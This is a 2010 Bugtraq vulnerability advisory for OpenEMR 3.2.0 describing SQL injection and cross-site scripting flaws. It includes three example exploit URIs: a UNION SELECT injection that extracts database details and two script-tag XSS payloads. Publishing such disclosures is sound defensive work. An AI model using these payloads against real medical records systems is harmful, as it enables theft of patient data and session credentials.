OpenEMR Multiple Input Validation Vulnerabilities

Bugtraq ID:	45575
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 27 2010 12:00AM
Updated:	Mar 19 2015 08:39AM
Credit:	wasto
Vulnerable:	OpenEMR OpenEMR 3.2
Not Vulnerable:

OpenEMR Multiple Input Validation Vulnerabilities

OpenEMR is prone to SQL-injection, HTML-injection, and cross-site-scripting vulnerabilities.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OpenEMR 3.2.0 is vulnerable; other versions may also be affected.

OpenEMR Multiple Input Validation Vulnerabilities

An attacker can exploit these issues through a browser. To exploit a cross-site-scripting issue, the attacker must entice an unsuspecting user to follow a malicious URI.

The following example URIs are available:

http://example.com/openemr/interface/patient_file/summary/add_edit_issue.php?issue=0+union+select+null,null,null,@@version,system_user(),database(),user(),null,null,null,null,null,null,null,null,null,null,null,null--

http://example.com/openemr/interface/patient_file/summary/immunizations.php?mode=add&id=&pid=98&form_immunization_id=6&administered_date=2010-12-26&manufacturer=&lot_number=&administered_by=Administrator%2C+&administered_by_id=1&education_date=2010-12-26&vis_date=2010-12-26&note=%22%3E%3Cscript%3Ealert%289%29%3C%2Fscript%3E

http://example.com/openemr/controller.php?document&upload&patient_id=2&parent_id=%22%3E%3Cscript%3Ealert%2810%29%3C/script%3E

OpenEMR Multiple Input Validation Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

OpenEMR Multiple Input Validation Vulnerabilities

References:

• Product Download Page (OpenEMR)
  
• Vendor Homepage (OpenEMR)